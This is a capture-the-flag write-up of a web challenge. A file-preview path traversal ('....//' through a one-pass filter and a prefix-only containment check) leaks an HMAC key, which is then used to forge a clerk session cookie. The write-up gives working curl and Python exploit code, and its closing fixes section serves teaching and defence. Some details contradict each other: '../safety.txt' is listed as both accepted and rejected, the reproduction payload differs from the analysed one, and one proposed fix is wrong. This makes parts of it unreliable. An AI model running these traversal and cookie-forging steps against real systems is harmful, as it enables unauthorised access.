

quay-index — Harbor "Quay Index" (web)

Flag: `bupctf{qU4Y_do7do7_str1P_PR3Fix_HM4c_cl3rk}`

Target: `https://quay-index-ad462a86f512.web.bupcopc.tech` **Category:** Web (path traversal → signed-session forgery → privilege escalation) **One-liner:** A "path-safe" file preview leaks a sibling directory's HMAC key; the key forges a clerk session and opens the locked cabinet.

1. Reconnaissance

```
GET / -> "Warehouse slips" index: berth-12a.txt, safety.txt, tide-board.txt
GET /api/stack -> {"docs_root":"/app/warehouse","notes":"Slips are resolved under docs_root. Path traversal is filtered.", ...}
GET /cabinet -> 302 /login ("Clerk cabinet stays behind signed staff sessions")
GET /login , /register
```

The three public slips are hints, not content:

- `safety.txt` — “no absolute paths, no leading `../` — the indexer strips junk once” (the filter's exact shape)
- `tide-board.txt` — “Clerks keep signing material next door to the public warehouse (same path prefix, meta tree). Do not commit keys into the slip tree.” (where the key lives)
- `berth-12a.txt` — filler (+ the `/preview?slip=` usage tip)

2. Mapping the preview filter

`GET /preview?slip=<name>` serves a file from `docs_root`. The oracle is clean: **200 = file existed and was served, 302 → `/` = rejected or missing**. Results that pinned the logic down:

Input	Result	Conclusion
<code>safety.txt</code> , <code>./safety.txt</code> , <code>../safety.txt</code> , <code>safety.txt/</code>	200	normalisation happens (trailing <code>/</code> tolerated)
<code>../safety.txt</code> , <code>/app/warehouse/safety.txt</code>	302	leading <code>../</code> and leading <code>/</code> are rejected outright
<code>x/../safety.txt</code>	302	a <i>literal</i> <code>../</code> is stripped — the path then misses
<code>....//safety.txt</code>	302	one <code>../</code> is stripped ⇒ <code>../safety.txt</code> ⇒ <code>/app/safety.txt</code> (outside root ⇒ refused)
<code>sub/....//safety.txt</code> , <code>x/....//safety.txt</code>	200	after the strip the <code>..</code> survives and is resolved by the OS, and the result stays inside the root
<code>....//....//etc/passwd</code>	302	resolved to <code>/etc/passwd</code> — an escape, therefore a containment check exists

Reconstruction of the server logic:

```
name = request.args["slip"]
if name.startswith("/") or name.startswith("../"):
    return redirect("/") # "no absolute paths, no leading ../"
name = name.replace("../", "", 1) # "strips junk once" <-- one pass only
path = os.path.normpath(os.path.join(DOCS_ROOT, name))
if not path.startswith(DOCS_ROOT): # <-- THE BUG: string-prefix containment
    return redirect("/")
if not os.path.isfile(path): return redirect("/")
return render(preview=open(path).read())
```

Two consequences:

1. `....//` passes the leading-`../` test (it starts with `..`), then the single strip turns it into `../` — a traversal that *survives* the filter.
2. The containment test is a plain `str.startswith("/app/warehouse")` with **no trailing separator**, so any sibling directory whose *name begins with* `warehouse` passes: `/app/warehouse_meta/...` looks "inside the root" to `startswith` while being physically outside it.

3. Reading the signing material

`tide-board.txt` says the key is a sibling with the same path prefix in a “meta tree” ⇒ `/app/warehouse_meta`. One `../` is all we need:

```
GET /preview?slip=....//warehouse_meta/signing.key
-> 200
-> d5a5f9eaca15690c016e61e216ce16226e2c5952cef7d153d80dfb349d6e7363
```

4. Forging the clerk session

Registering gives a session cookie in a custom, hand-rolled format:

```
quay_session = base64url(username) . base64url(role) . hex_hmac
e.g. Ym9zczM1MjUx . cmVhZGVy .
d5b24625ca7ceced0d79e222845edfb68473f661c0a7227f29f2c4ff5906debb
```

Changing `reader` → `clerk` with the *same* signature was rejected, so the MAC covers the role. With the leaked key, the message format was recovered offline by reproducing the observed signature byte-for-byte:

```
HMAC-SHA256(key = "d5a5f9...7363".encode(), msg = "username|role") ⇒ matches the issued cookie
```

(Note: the key is used as its **ASCII hex string**, not the 32 decoded bytes — decoding it produces a non-matching MAC.)

```
username = clerk          role = clerk
cookie    = base64url("clerk").base64url("clerk").HMAC("clerk|clerk")
```

```
GET /cabinet (Cookie: quay_session=<forged>)
-> 200
  <h1>Clerk cabinet</h1>
  <p class="lead">Staff release for this berth:</p>
  <p class="flag">bupctf{qU4Y_do7do7_str1P_PR3Fix_HM4c_cl3rk}</p>
```

5. Why it worked (the two real bugs)

1. **Sanitiser/validator mismatch on paths.** Filtering the string (`replace("../", "", 1)`) and then *trusting* a prefix test invites the `....//` smuggled traversal. The strip count of one is defeated by nesting.
2. **String-prefix containment instead of a canonical check.**
`path.startswith("/app/warehouse")` is not a boundary test; `/app/warehouse_meta` is a different directory. The correct test is `os.path.realpath(path) == R00T` or `os.path.commonpath([path, R00T]) == R00T` (plus `sep`-terminated prefix), i.e. canonicalise **after** resolving symlinks and compare path *components*, never raw prefixes.
3. **Secret material one directory over, protected only by the broken check.** The HMAC key was reachable through the same traversal, so the session-signing boundary collapsed to a single file read.

Briefing crib sheet (10 lines to defend the solve)

1. Challenge: file preview under `docs_root` claims to be "path-safe"; clerk cabinet is behind signed sessions.
2. `/api/stack` leaks `docs_root=/app/warehouse`; the slips leak the filter rule and the key's location.
3. The filter rejects leading `/` and leading `../`, then strips **one** `../`.
4. `....//` starts with `..` (passes the leading test) and becomes `../` after the single strip — smuggled traversal.
5. Containment is `startswith("/app/warehouse")`, no trailing separator and no canonicalisation.
6. Therefore any sibling directory whose name starts with `warehouse` is "inside the root" — `/app/warehouse_meta`.
7. `....//warehouse_meta/signing.key` → 200 → HMAC key `d5a5f9...7363`.
8. Cookie format: `b64(user).b64(role).hex(HMAC-SHA256(key, "user|role"))` — proven by reproducing an issued signature.
9. Forge `clerk|clerk`, replay it at `/cabinet`, read the flag.
10. Fixes: canonicalise + component-wise containment, never prefix `startswith`; keep signing keys out of any tree the web tier can read.

Reproduction

```
T=https://quay-index-ad462a86f512.web.bupcopc.tech

# 1. key leak (single '../' smuggled through the filter, naive prefix check passes)
curl -s "$T/preview?slip=...//warehouse_meta/signing.key"
# d5a5f9eaca15690c016e61e216ce16226e2c5952cef7d153d80dfb349d6e7363

# 2. forged clerk cookie
python3 - <<'PY'
import base64, hmac, hashlib
key = "d5a5f9eaca15690c016e61e216ce16226e2c5952cef7d153d80dfb349d6e7363"
b64 = lambda s: base64.urlsafe_b64encode(s.encode()).decode().rstrip("=")
u, r = "clerk", "clerk"
print("quay_session=%s.%s.%s" % (u and b64(u), b64(r),
    hmac.new(key.encode(), ("%s|%s" % (u, r)).encode(), hashlib.sha256).hexdigest()))
PY

# 3. cabinet
curl -s -H "Cookie: quay_session=$(python3 - <<'PY'
import base64,hmac,hashlib
key="d5a5f9eaca15690c016e61e216ce16226e2c5952cef7d153d80dfb349d6e7363"
b=lambda s: base64.urlsafe_b64encode(s.encode()).decode().rstrip("=")
print("%s.%s.%s"%
(b("clerk"),b("clerk"),hmac.new(key.encode(),b"clerk|clerk",hashlib.sha256).hexdigest()))
PY
)" "$T/cabinet" | grep -o 'bupctf{[^}]*}'
```

Artifacts in `artifacts/`: `quay_poc.py` (end-to-end PoC), `cabinet.html` (response containing the flag).